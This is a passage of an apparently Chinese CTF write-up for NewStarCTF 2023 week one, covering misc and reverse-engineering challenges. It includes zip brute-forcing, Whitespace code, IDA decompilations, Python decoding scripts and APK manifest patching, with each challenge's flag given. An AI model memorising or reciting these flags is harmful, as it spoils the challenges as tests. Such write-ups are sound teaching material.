</code>,得到一个压缩包,bandizip打开发现base64编码的注释<code>SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==</code>,base64解密后得到<code>I like six-digit numbers because they are very concise and easy to remember.</code>,拿爆破工具直接爆破密码,得到232311,拿到flag:<code>flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc}</code></p><h3 id="空白格"><a href="#空白格" class="headerlink" title="空白格"></a>空白格</h3><p>下载后发现都是空格、Tab和换行,联想到WhiteSpace语言,在网上随便找一个WhiteSpace在线运行环境<a href="https://www.w3cschool.cn/tryrun/runcode?lang=whitespace">whitespace在线运行,在线工具,在线编译IDE_w3cschool</a>,运行得到flag:<code>flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04}</code></p><h2 id="Reverse"><a href="#Reverse" class="headerlink" title="Reverse"></a>Reverse</h2><p>解题 7/8</p><h3 id="easy-RE"><a href="#easy-RE" class="headerlink" title="easy_RE"></a>easy_RE</h3><p>下载程序,拖到ida里面打开,能看见flag的前半部分<code>flag{we1c0m</code></p><img src="/2023/09/26/2023newstarctfWeek1/re1_up.png" class=""><p>F5反编译,看到后半部分<code>e_to_rev3rse!!}</code>,得到完整flag:<code>flag{we1c0me_to_rev3rse!!}</code></p><h3 id="咳"><a href="#咳" class="headerlink" title="咳"></a>咳</h3><p>Upx脱壳<code>upx -d KE.exe</code></p><p>反编译代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">unsigned</span> __int64 i; <span class="hljs-comment">// r10</span><br> <span class="hljs-type">char</span> *v4; <span class="hljs-comment">// kr00_8</span><br> <span class="hljs-type">char</span> Str1[<span class="hljs-number">96</span>]; <span class="hljs-comment">// [rsp+20h] [rbp-88h] BYREF</span><br> <span class="hljs-type">int</span> v7; <span class="hljs-comment">// [rsp+80h] [rbp-28h]</span><br><br> _main();<br> <span class="hljs-built_in">memset</span>(Str1, <span class="hljs-number">0</span>, <span class="hljs-keyword">sizeof</span>(Str1));<br> v7 = <span class="hljs-number">0</span>;<br> Hello();<br> <span class="hljs-built_in">scanf</span>(<span class="hljs-string">"%s"</span>, Str1);<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>i64; ; ++i )<br> {<br> v4 = &Str1[<span class="hljs-built_in">strlen</span>(Str1)];<br> <span class="hljs-keyword">if</span> ( i >= v4 - Str1 )<br> <span class="hljs-keyword">break</span>;<br> ++Str1[i];<br> }<br> <span class="hljs-keyword">if</span> ( !<span class="hljs-built_in">strncmp</span>(Str1, enc, v4 - Str1) )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"WOW!!"</span>);<br> <span class="hljs-keyword">else</span><br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"I believe you can do it!"</span>);<br> system(<span class="hljs-string">"pause"</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>其中enc是<code>gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~</code>,</p><p>写一个python脚本解密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs python">a=<span class="hljs-string">'gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br> <span class="hljs-built_in">print</span>(<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(i)-<span class="hljs-number">1</span>),end=<span class="hljs-string">''</span>)<br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1}</code></p><h3 id="Segments"><a href="#Segments" class="headerlink" title="Segments"></a>Segments</h3><p>下载附件,拖到ida里,提示shift+F7,直接按,发现段名字中藏着flag</p><img src="/2023/09/26/2023newstarctfWeek1/re2.png" class=""><p><code>flag{You_ar3_g0od_at_f1nding_ELF_segments_name}</code></p><h3 id="ELF"><a href="#ELF" class="headerlink" title="ELF"></a>ELF</h3><p>反编译,得到c代码:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">unsigned</span> <span class="hljs-type">int</span> v3; <span class="hljs-comment">// edx</span><br> <span class="hljs-type">char</span> *s1; <span class="hljs-comment">// [rsp+0h] [rbp-20h]</span><br> <span class="hljs-type">char</span> *v6; <span class="hljs-comment">// [rsp+8h] [rbp-18h]</span><br> <span class="hljs-type">char</span> *s; <span class="hljs-comment">// [rsp+10h] [rbp-10h]</span><br><br> s = (<span class="hljs-type">char</span> *)<span class="hljs-built_in">malloc</span>(<span class="hljs-number">0x64</span>uLL);<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"Input flag: "</span>);<br> fgets(s, <span class="hljs-number">100</span>, <span class="hljs-built_in">stdin</span>);<br> s[<span class="hljs-built_in">strcspn</span>(s, <span class="hljs-string">"\n"</span>)] = <span class="hljs-number">0</span>;<br> v6 = (<span class="hljs-type">char</span> *)encode(s);<br> v3 = <span class="hljs-built_in">strlen</span>(v6);<br> s1 = (<span class="hljs-type">char</span> *)base64_encode(v6, v3);<br> <span class="hljs-keyword">if</span> ( !<span class="hljs-built_in">strcmp</span>(s1, <span class="hljs-string">"VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t"</span>) )<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Correct"</span>);<br> <span class="hljs-keyword">else</span><br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"Wrong"</span>);<br> <span class="hljs-built_in">free</span>(v6);<br> <span class="hljs-built_in">free</span>(s1);<br> <span class="hljs-built_in">free</span>(s);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>发现base64,对字符串进行解密</p><p>得到<code>V\QWkt $_e'^_ggXQ'u|v!c/m</code></p><p>分析encode函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs c">_BYTE *__fastcall <span class="hljs-title function_">encode</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *a1)</span><br>{<br> <span class="hljs-type">size_t</span> v1; <span class="hljs-comment">// rax</span><br> <span class="hljs-type">int</span> v2; <span class="hljs-comment">// eax</span><br> _BYTE *v4; <span class="hljs-comment">// [rsp+20h] [rbp-20h]</span><br> <span class="hljs-type">int</span> i; <span class="hljs-comment">// [rsp+28h] [rbp-18h]</span><br> <span class="hljs-type">int</span> v6; <span class="hljs-comment">// [rsp+2Ch] [rbp-14h]</span><br><br> v1 = <span class="hljs-built_in">strlen</span>(a1);<br> v4 = <span class="hljs-built_in">malloc</span>(<span class="hljs-number">2</span> * v1 + <span class="hljs-number">1</span>);<br> v6 = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i < <span class="hljs-built_in">strlen</span>(a1); ++i )<br> {<br> v2 = v6++;<br> v4[v2] = (a1[i] ^ <span class="hljs-number">0x20</span>) + <span class="hljs-number">16</span>;<br> }<br> v4[v6] = <span class="hljs-number">0</span>;<br> <span class="hljs-keyword">return</span> v4;<br>}<br></code></pre></td></tr></table></figure><p>写出python解密脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><code class="hljs python">a=<span class="hljs-string">'V\QWkt $_e\'^_ggXQ\'u|v!c/m'</span><br>b=<span class="hljs-string">''</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> a:<br> b+=<span class="hljs-built_in">chr</span>((<span class="hljs-built_in">ord</span>(i)-<span class="hljs-number">16</span>)^<span class="hljs-number">0x20</span>)<br><span class="hljs-built_in">print</span>(b)<br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{D04ou7nowwha7ELF1s?}</code></p><h3 id="Endian"><a href="#Endian" class="headerlink" title="Endian"></a>Endian</h3><p>反编译,得到:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">int</span> __cdecl <span class="hljs-title function_">main</span><span class="hljs-params">(<span class="hljs-type">int</span> argc, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **argv, <span class="hljs-type">const</span> <span class="hljs-type">char</span> **envp)</span><br>{<br> <span class="hljs-type">int</span> i; <span class="hljs-comment">// [rsp+4h] [rbp-3Ch]</span><br> <span class="hljs-type">char</span> *v5; <span class="hljs-comment">// [rsp+8h] [rbp-38h]</span><br> <span class="hljs-type">char</span> v6[<span class="hljs-number">40</span>]; <span class="hljs-comment">// [rsp+10h] [rbp-30h] BYREF</span><br> <span class="hljs-type">unsigned</span> __int64 v7; <span class="hljs-comment">// [rsp+38h] [rbp-8h]</span><br><br> v7 = __readfsqword(<span class="hljs-number">0x28</span>u);<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"please input your flag"</span>);<br> __isoc99_scanf(<span class="hljs-string">"%s"</span>, v6);<br> v5 = v6;<br> <span class="hljs-keyword">for</span> ( i = <span class="hljs-number">0</span>; i <= <span class="hljs-number">4</span>; ++i )<br> {<br> <span class="hljs-keyword">if</span> ( *(_DWORD *)v5 != (<span class="hljs-built_in">array</span>[i] ^ <span class="hljs-number">0x12345678</span>) )<br> {<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"wrong!"</span>);<br> <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);<br> }<br> v5 += <span class="hljs-number">4</span>;<br> }<br> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"you are right"</span>);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><p>其中array为<code>dd 75553A1Eh, 7B583A03h, 4D58220Ch, 7B50383Dh, 736B3819h, 0</code>,shift+e提取数组元素,写出python脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs python">arrr=[ <span class="hljs-number">1968519710</span>, <span class="hljs-number">2069379587</span>, <span class="hljs-number">1297621516</span>, <span class="hljs-number">2068854845</span>, <span class="hljs-number">1936406553</span>, <span class="hljs-number">0</span> ]<br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> arrr:<br> h=((i^<span class="hljs-number">0x12345678</span>))<br> value = h<br><br> nums = []<br> <span class="hljs-keyword">while</span> value > <span class="hljs-number">0</span>:<br> nums.append(<span class="hljs-built_in">hex</span>(value & <span class="hljs-number">0xFF</span>)) <span class="hljs-comment"># 取出低位部分,并转换为16进制字符串</span><br> value >>= <span class="hljs-number">8</span> <span class="hljs-comment"># 右移8位,获取下一个位置的部分</span><br> nums_str = [<span class="hljs-built_in">chr</span>(<span class="hljs-built_in">int</span>(num,<span class="hljs-number">16</span>)) <span class="hljs-keyword">for</span> num <span class="hljs-keyword">in</span> nums]<br> result_str = <span class="hljs-string">''</span>.join(nums_str)<br> <span class="hljs-built_in">print</span>(result_str,end=<span class="hljs-string">''</span>)<br></code></pre></td></tr></table></figure><p>执行拿到flag:<code>flag{llittl_Endian_axV4</code></p><p>修改一下得到最后flag:<code>flag{llittl_Endian_a}</code></p><h3 id="AndroXor"><a href="#AndroXor" class="headerlink" title="AndroXor"></a>AndroXor</h3><p>Android killer打开,java反编译,入口处com.chick.androxor.MainActivity得到关键函数:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> String <span class="hljs-title function_">Xor</span><span class="hljs-params">(String paramString1, String paramString2)</span><br> {<br> <span class="hljs-type">char</span>[] arrayOfChar = <span class="hljs-keyword">new</span> <span class="hljs-title class_">char</span>[paramString1.length()];<br> <span class="hljs-type">int</span> <span class="hljs-variable">i</span> <span class="hljs-operator">=</span> paramString1.length();<br> <span class="hljs-type">String</span> <span class="hljs-variable">str1</span> <span class="hljs-operator">=</span> <span class="hljs-string">"wrong!!!"</span>;<br> String str2;<br> <span class="hljs-keyword">if</span> (i != <span class="hljs-number">25</span>) {<br> str2 = <span class="hljs-string">"wrong!!!"</span>;<br> } <span class="hljs-keyword">else</span> {<br> str2 = <span class="hljs-string">"you win!!!"</span>;<br> }<br> <span class="hljs-keyword">for</span> (i = <span class="hljs-number">0</span>; i < paramString1.length(); i++)<br> {<br> <span class="hljs-type">int</span> <span class="hljs-variable">j</span> <span class="hljs-operator">=</span> (<span class="hljs-type">char</span>)(paramString1.charAt(i) ^ paramString2.charAt(i % paramString2.length()));<br> arrayOfChar[i] = ((<span class="hljs-type">char</span>)j);<br> <span class="hljs-keyword">if</span> (<span class="hljs-keyword">new</span> <span class="hljs-title class_">char</span>[] { <span class="hljs-number">14</span>, <span class="hljs-number">13</span>, <span class="hljs-number">17</span>, <span class="hljs-number">23</span>, <span class="hljs-number">2</span>, <span class="hljs-number">75</span>, <span class="hljs-number">73</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">30</span>, <span class="hljs-number">20</span>, <span class="hljs-number">73</span>, <span class="hljs-number">10</span>, <span class="hljs-number">2</span>, <span class="hljs-number">12</span>, <span class="hljs-number">62</span>, <span class="hljs-number">40</span>, <span class="hljs-number">64</span>, <span class="hljs-number">11</span>, <span class="hljs-number">39</span>, <span class="hljs-number">75</span>, <span class="hljs-number">89</span>, <span class="hljs-number">25</span>, <span class="hljs-number">65</span>, <span class="hljs-number">13</span> }[i] != j)<br> {<br> str2 = str1;<br> <span class="hljs-keyword">break</span>;<br> }<br> }<br> <span class="hljs-keyword">return</span> str2;<br> }<br></code></pre></td></tr></table></figure><p>在com.chick.androxor.MainActivity$1类中得到key为happyx3</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><code class="hljs java"><span class="hljs-keyword">public</span> <span class="hljs-keyword">void</span> <span class="hljs-title function_">onClick</span><span class="hljs-params">(View paramView)</span><br> {<br> <span class="hljs-type">String</span> <span class="hljs-variable">str</span> <span class="hljs-operator">=</span> <span class="hljs-built_in">this</span>.val$password.getText().toString();<br> paramView = <span class="hljs-built_in">this</span>.<span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>;<br> Toast.makeText(paramView, paramView.Xor(str, <span class="hljs-string">"happyx3"</span>), <span class="hljs-number">1</span>).show();<br> Log.d(<span class="hljs-string">"输入"</span>, <span class="hljs-built_in">this</span>.val$password.getText().toString());<br> }<br></code></pre></td></tr></table></figure><p>编写python脚本</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><code class="hljs python">key = <span class="hljs-string">"happyx3"</span><br>cipher = [<span class="hljs-number">14</span>, <span class="hljs-number">13</span>, <span class="hljs-number">17</span>, <span class="hljs-number">23</span>, <span class="hljs-number">2</span>, <span class="hljs-number">75</span>, <span class="hljs-number">73</span>, <span class="hljs-number">55</span>, <span class="hljs-number">32</span>, <span class="hljs-number">30</span>, <span class="hljs-number">20</span>, <span class="hljs-number">73</span>, <span class="hljs-number">10</span>, <span class="hljs-number">2</span>, <span class="hljs-number">12</span>, <span class="hljs-number">62</span>, <span class="hljs-number">40</span>, <span class="hljs-number">64</span>, <span class="hljs-number">11</span>, <span class="hljs-number">39</span>, <span class="hljs-number">75</span>, <span class="hljs-number">89</span>, <span class="hljs-number">25</span>, <span class="hljs-number">65</span>, <span class="hljs-number">13</span>]<br><br>result = <span class="hljs-string">""</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(cipher)):<br> result += <span class="hljs-built_in">chr</span>(cipher[i] ^ <span class="hljs-built_in">ord</span>(key[i % <span class="hljs-built_in">len</span>(key)]))<br><br><span class="hljs-built_in">print</span>(result)<br></code></pre></td></tr></table></figure><p>得到flag:<code>flag{3z_And0r1d_X0r_x1x1}</code></p><h3 id="lazy-activtiy"><a href="#lazy-activtiy" class="headerlink" title="lazy_activtiy"></a>lazy_activtiy</h3><p>安装apk后打开发现要求我们打开另一个Activity来获得flag</p><p>查看apk配置文件AndroidManifest.xml</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-meta"><?xml version=<span class="hljs-string">"1.0"</span> encoding=<span class="hljs-string">"utf-8"</span> standalone=<span class="hljs-string">"no"</span>?></span><span class="hljs-tag"><<span class="hljs-name">manifest</span> <span class="hljs-attr">xmlns:android</span>=<span class="hljs-string">"http://schemas.android.com/apk/res/android"</span> <span class="hljs-attr">android:compileSdkVersion</span>=<span class="hljs-string">"32"</span> <span class="hljs-attr">android:compileSdkVersionCodename</span>=<span class="hljs-string">"12"</span> <span class="hljs-attr">package</span>=<span class="hljs-string">"com.droidlearn.activity_travel"</span> <span class="hljs-attr">platformBuildVersionCode</span>=<span class="hljs-string">"32"</span> <span class="hljs-attr">platformBuildVersionName</span>=<span class="hljs-string">"12"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">application</span> <span class="hljs-attr">android:allowBackup</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:appComponentFactory</span>=<span class="hljs-string">"androidx.core.app.CoreComponentFactory"</span> <span class="hljs-attr">android:dataExtractionRules</span>=<span class="hljs-string">"@xml/data_extraction_rules"</span> <span class="hljs-attr">android:fullBackupContent</span>=<span class="hljs-string">"@xml/backup_rules"</span> <span class="hljs-attr">android:icon</span>=<span class="hljs-string">"@mipmap/ic_launcher"</span> <span class="hljs-attr">android:label</span>=<span class="hljs-string">"@string/app_name"</span> <span class="hljs-attr">android:roundIcon</span>=<span class="hljs-string">"@mipmap/ic_launcher_round"</span> <span class="hljs-attr">android:supportsRtl</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:theme</span>=<span class="hljs-string">"@style/Theme.Activity_Travel"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">activity</span> <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"false"</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.droidlearn.activity_travel.FlagActivity"</span>/></span><br> <span class="hljs-tag"><<span class="hljs-name">activity</span> <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.droidlearn.activity_travel.MainActivity"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">intent-filter</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.MAIN"</span>/></span><br> <span class="hljs-tag"><<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.LAUNCHER"</span>/></span><br> <span class="hljs-tag"></<span class="hljs-name">intent-filter</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">activity</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">application</span>></span><br><span class="hljs-tag"></<span class="hljs-name">manifest</span>></span><br></code></pre></td></tr></table></figure><p>将入口处改为FlagActivity,并且把FlagActivity的exported改为true</p><p>改后xml文件如下</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><code class="hljs xml"><span class="hljs-meta"><?xml version=<span class="hljs-string">"1.0"</span> encoding=<span class="hljs-string">"utf-8"</span> standalone=<span class="hljs-string">"no"</span>?></span><span class="hljs-tag"><<span class="hljs-name">manifest</span> <span class="hljs-attr">xmlns:android</span>=<span class="hljs-string">"http://schemas.android.com/apk/res/android"</span> <span class="hljs-attr">android:compileSdkVersion</span>=<span class="hljs-string">"32"</span> <span class="hljs-attr">android:compileSdkVersionCodename</span>=<span class="hljs-string">"12"</span> <span class="hljs-attr">package</span>=<span class="hljs-string">"com.droidlearn.activity_travel"</span> <span class="hljs-attr">platformBuildVersionCode</span>=<span class="hljs-string">"32"</span> <span class="hljs-attr">platformBuildVersionName</span>=<span class="hljs-string">"12"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">application</span> <span class="hljs-attr">android:allowBackup</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:appComponentFactory</span>=<span class="hljs-string">"androidx.core.app.CoreComponentFactory"</span> <span class="hljs-attr">android:dataExtractionRules</span>=<span class="hljs-string">"@xml/data_extraction_rules"</span> <span class="hljs-attr">android:fullBackupContent</span>=<span class="hljs-string">"@xml/backup_rules"</span> <span class="hljs-attr">android:icon</span>=<span class="hljs-string">"@mipmap/ic_launcher"</span> <span class="hljs-attr">android:label</span>=<span class="hljs-string">"@string/app_name"</span> <span class="hljs-attr">android:roundIcon</span>=<span class="hljs-string">"@mipmap/ic_launcher_round"</span> <span class="hljs-attr">android:supportsRtl</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:theme</span>=<span class="hljs-string">"@style/Theme.Activity_Travel"</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">activity</span> <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.droidlearn.activity_travel.FlagActivity"</span>/></span><br> <span class="hljs-tag"><<span class="hljs-name">intent-filter</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">action</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.action.MAIN"</span>/></span><br> <span class="hljs-tag"><<span class="hljs-name">category</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"android.intent.category.LAUNCHER"</span>/></span><br> <span class="hljs-tag"></<span class="hljs-name">intent-filter</span>></span><br> <span class="hljs-tag"><<span class="hljs-name">activity</span> <span class="hljs-attr">android:exported</span>=<span class="hljs-string">"true"</span> <span class="hljs-attr">android:name</span>=<span class="hljs-string">"com.droidlearn.activity_travel.MainActivity"</span>></span><br><br> <span class="hljs-tag"></<span class="hljs-name">activity</span>></span><br> <span class="hljs-tag"></<span class="hljs-name">application</span>></span><br><span class="hljs-tag"></<span class="hljs-name">manifest</span>></span><br></code></pre></td></tr></table></figure><p>重新编译后打开,发现要求点击按钮10000次才能获得flag。</p><p>分析smali语句</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><code class="hljs java">.<span class="hljs-keyword">class</span> <span class="hljs-title class_">Lcom</span>/droidlearn/activity_travel/FlagActivity$<span class="hljs-number">1</span>;<br>.<span class="hljs-built_in">super</span> Ljava/lang/Object;<br>.source <span class="hljs-string">"FlagActivity.java"</span><br><br># interfaces<br>.<span class="hljs-keyword">implements</span> <span class="hljs-title class_">Landroid</span>/view/View$OnClickListener;<br><br><br># annotations<br>.annotation system Ldalvik/annotation/EnclosingMethod;<br> value = Lcom/droidlearn/activity_travel/FlagActivity;->onCreate(Landroid/os/Bundle;)V<br>.end annotation<br><br>.annotation system Ldalvik/annotation/InnerClass;<br> accessFlags = <span class="hljs-number">0x0</span><br> name = <span class="hljs-literal">null</span><br>.end annotation<br><br><br># instance fields<br>.field <span class="hljs-keyword">final</span> synthetic <span class="hljs-built_in">this</span>$<span class="hljs-number">0</span>:Lcom/droidlearn/activity_travel/FlagActivity;<br><br>.field <span class="hljs-keyword">final</span> synthetic 